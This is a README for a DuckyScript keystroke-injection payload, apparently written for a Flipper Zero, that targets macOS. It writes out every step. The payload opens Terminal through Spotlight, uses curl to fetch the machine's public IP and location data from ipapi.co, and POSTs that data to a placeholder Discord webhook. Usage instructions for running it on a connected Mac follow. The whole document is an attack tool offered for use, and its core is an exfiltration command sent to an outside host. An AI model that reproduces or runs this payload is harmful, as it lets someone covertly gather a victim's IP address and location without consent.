1.6 KiB
1.6 KiB
IPLogger-FlipZero by bst04
This script, created by bst04, is designed to work on macOS systems. It opens Terminal, fetches the public IP address of the device, and sends it to a Discord webhook using curl.
Technical Explanation
-
Initialization:
DELAY 500: Waits for 0.5 seconds to ensure the system is ready.GUI SPACE: Simulates pressing the "Command" + "Space" keys to open Spotlight Search.DELAY 500: Waits for 0.5 seconds for Spotlight to open.STRING Terminal: Types "Terminal" to search for the Terminal application.ENTER: Opens the Terminal application.
-
Fetch Public IP Address:
DELAY 1000: Waits for 1 second to ensure Terminal is fully opened.STRING location=$(curl -s https://ipapi.co/json/): Fetches the public IP address and stores it in a variable namedlocation.
-
Send IP Address to Discord Webhook:
DELAY 1000: Waits for 1 second to ensure the previous command is executed.STRING curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "content=$location" https://yourwebhook: Sends the link to the specified Discord webhook.
Usage
- Copy the payload script to your DuckyScript-enabled device.
- Ensure the device is connected to a macOS system.
- Execute the payload to fetch and send the public IP address to your Discord webhook.

